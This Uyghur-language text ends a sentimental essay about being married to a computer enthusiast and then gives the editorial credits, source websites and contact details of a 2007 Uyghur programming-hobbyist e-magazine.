يەنە شۇنداقمۇ كۈنلەرمۇ كېلىدۇ .ئۇ مۇۋاپىقيەت قازانغان كۈنى ئۆزىلا ئەمەس بەلكى شۇ كەسىپتىكى نۇرغۇن كىشىلەر ئۇنىڭ مۇۋەپپەقىيتى ئۈچۈن چاۋاك چالىدۇ ،ئۇنىڭدىن مىننەتدار بولىدۇ.شۇ چاغدا ئۇ بۇرۇن كەتكۈزگەنىنىڭ ئورنىنى تولدۇرىدۇ،كۆزىڭىزگە قاراپ تۇرۇپ سىزدىن كەچۈرۈم سورايدۇ. ئەڭ بەختلىك مىنۇتلار يېتىپ كېلىدۇ،سىز ئۇنىڭ بوينىغا گىرە سېلىپ سىم ـ سىم يامغۇردەك يىغلايسىز.ئۇچېچىڭىزنى ئويناپ تۇرۇپ:« مەن بەك يارامسىز ، ھە دېگەندىلا ،كومپيوتېر بىلەن بولۇپ كېتىپ ھالىڭىزدىن خەۋەر ئالالمىدىم ،ئالدىڭىزدا بەك خىجىل ، مەن بىلەن بىرگە ئۆتكەن كۈنىڭىزگە پۇشايمان قىلامسىز ؟»دەپ سورايدۇ،بۇ چاغدا سىز قانداق جاۋاب بېرىسىز ؟ چوقۇم كۆز يېشىڭىز يەنىمۇ قاتتىق تۆكۈلىدۇ ، ئۇنى تېخىمۇ چىڭ قۇچاقلايسىز- دە ئېسەدەپ تۇرۇپ :«ياق، پەقەت سىزلا خوشال بولسىڭىز مەن رازى» دەيسىز. (گەرچە سەل خاپا بولسىڭىزمۇ).

ماقالە ئادرېسى : http://www.tedbirkar.cn/uyghur/YCMS_ShowArt.asp?id=12

بۇ قېتىمقى ماقالىلىرىمىز «پروگرامما ھەۋەسكارلىرى كۇلۇبى»(www.xjprgfan.com)،«كومپيۇتېر مەستانىلىرى تور بېكىتى»(www.uyghurcfan.com) ۋە شۇنداقلا كۇلۇبىمىزغا يېقىن ئەزا بولغان تور بېكەت «تەدبىركار تور بېكىتى»(www.tedbirkar.cn) دا ئېلان قىلىنغان بىر قىسىم ماقالىلىرىمىزدىن باشقا يەنە نۆۋەتتە تېخى تورغا يوللانمىغان بىر قىسىم ماقالىلەردىنمۇ تەشكىل تاپقان.سوئال-جاۋاب قىسمىدا سورالغان سوئال ۋە بېرىلگەن جاۋاب «بىلىش»(www.bilish.com) تور بېكىتىمىزدىن ئېلىندى.ئامال بار سوئاللارنىڭ ئەينەنلىكىنى ساقلاپ قالدۇق ۋە بەزى جاۋابلارنى تولۇقلىدۇق.شۇ مۇناسىۋەت بىلەن بىزنى ماتېرىيال بىلەن تەمىنلىگەن دوستلارغا رەھمەت ئېيتىمىز ۋە بارلىق قوللىغۇچىلىرىمىزنىڭ ماقالە بىلەن تەمىنلەشنى قارشى ئالىمىز.ئىشىنىمىزكى،سىزنىڭ،بىزنىڭ ئورتاق تىرىشىشىمىز ئاساسىدا مىللىتىمىز ئارىسىدا كومپيۇتېر بىلىملىرى تېخىمۇ تېز ئومۇملاشقۇسى!

پىلانلىغۇچىلار:مەخمۇتجان(sazgur)،ماھىرجان(mayor)

بۇ سان مەسئۇلى:ماھىرجان

ژورنال ئىشلىگۇچى:مەخمۇتجان

ئالاقىلىشىش:QQ نومۇرى:359463358

ئېلخەت ئادرېسى:sazgur617@163.com

ھۆرمەت بىلەن:

شىنجاڭ پروگرامما ھەۋەسكارلىرى ئىجادىيەت گورۇپپىسى

www.xjprgfan.com www.bilish.com

www.tebirkar.cn www.uyghurcfan.com

2007-يىلى 3-ئاينىڭ 25-كۈنى